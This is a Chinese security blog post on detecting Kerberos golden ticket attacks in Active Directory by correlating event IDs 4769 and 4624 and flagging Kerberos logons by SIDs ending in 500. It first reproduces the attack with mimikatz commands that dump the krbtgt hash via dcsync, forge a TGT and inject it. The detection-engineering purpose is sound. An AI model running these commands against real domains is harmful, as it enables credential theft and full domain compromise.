基于AD Event日志识别黄金票据攻击

2022-12-28 6,520

01、简介

黄金票据(Golden Ticket)是基于Kerberos认证的一种攻击方式,常用来做域控权限维持。当攻击者获取到域内krbtgt帐户的SID和HASH,就可以随意伪造域内管理员用户,再加上域帐户krbtgt的密码基本不会更改,即使域管修改了密码,攻击者依然可以通过黄金票据获取域管理员权限。

在域环境中,黄金票据无疑是一种特别危险的攻击,是域控权限失陷的特征,基于AD Event日志如何检测黄金票据攻击,我们来研究一下。

02、黄金票据攻击实例

黄金票据(Golden Ticket)的原理就是用krbtgt的hash来伪造TGT,只要拥有了高权限的TGT,就可以发送给TGS换取任意服务的ST。

(1)利用mimikatz在域控服务器导出krbtgt的SID值和哈希值。

lsadump::dcsync /domain:evil.com /user:krbtgt

(2)在域用户的服务器上使用mimikatz伪造TGT。

kerberos::golden /admin:ceshi /domain:evil.com /sid:S-1-5-21-3269078399-3211204512-295171886 /krbtgt:51a721beadd396571257fd2d825be455 /ticket:golden.kiribi

(3)清空域用户服务器本地票据缓存,导入伪造的黄金票据。

kerberos::purge  #清空本地票据缓存
kerberos::ptt golden.kiribi #导入伪造的黄金票据
kerberos::list   #重新查看本地保存的票据

(4)查看域控服务器的目录

03、黄金票据攻击检测

从kerberos认证流程来看,正常的用户认证登录生成对应的日志是:4768(请求TGT,服务名称krbtgt) -->4769(请求TGS,服务名称WIN-DC01$)--> 4624(登录帐户,登录进程Kerberos),但是由于黄金票据攻击已经离线生成了TGT,跳过了请求TGT这一步,日志里只会有 4769(请求TGS)-->4624(登录帐户),我们重点来看一下这两条日志里对应的具体的值。

当注入黄金票据访问服务,会出现两次4769的事件,其中第一个4769事件请求的服务名称是WIN-DC01$,第二个4769事件请求的krbtgt服务,伴随着还有登录用户和来源ip地址。

4624事件:记录了黄金票据伪造的帐户名ceshi在192.168.28.20通过kerberos进行网络登录,这里的帐户与SID并不一致,500代表了域管帐户,SID以500结尾可作为特征,通过帐户与SID的对应关系,可以找到伪造的用户,但是如果用户伪造的是administrator用户就可以绕过检测,所以需要把登录IP地址作为判定条件,收集域管理员登录IP地址后,识别出异常登录IP。

黄金票据攻击检测规则:监测4624中LogonType为3的Kerberos登录且SID以500结尾的日志事件,关联到4769的请求事件,并注意观察ServiceName的值。

实时告警效果如下:

本文作者:Bypass007

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/194220.html

Tags:
评论  (0)
快来写下你的想法吧!

Bypass007

文章数:94 积分: 218

一个网络安全爱好者,对技术有着偏执狂一样的追求。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号